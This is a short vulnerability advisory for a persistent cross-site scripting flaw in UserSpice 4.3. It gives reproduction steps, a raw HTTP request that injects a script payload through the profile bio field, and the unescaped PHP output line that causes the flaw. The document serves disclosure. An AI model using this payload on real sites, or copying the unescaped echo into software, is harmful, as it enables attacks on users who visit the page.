userSpice 4.3 Cross Site Scripting

`Application UserSpice PHP user management  
Vulnerability userSpice <= 4.3 Persistent Cross Site Scripting  
URL https://userspice.com  
Date 2.13.2018  
Author Dolev Farhi  
  
  
1. Login with a regular user  
2. Navigate to Public profile  
3. Edit your bio  
4. Enter XSS payload  
5. Once anyone visits the Bio page the payload will execute  
  
POST /users/edit_profile.php HTTP/1.1  
Host: 192.168.56.2  
Content-Length: 59  
Cache-Control: max-age=0  
Origin: http://192.168.56.2  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Referer: http://192.168.56.2/users/edit_profile.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9,he;q=0.8  
Connection: close  
  
bio=<script>alert("1")</script>&csrf=8b1339546d6af1e7536da0a705302e9c&update_bio=  
  
Vulnerable code:   
<td>  
<h4><a href="profile.php?id=<?=$v1->id?>" class="nounderline"><?=echouser($v1->id)?> </a></h4>  
<p><?=$ususerbio?></p>  
</td>  
  
`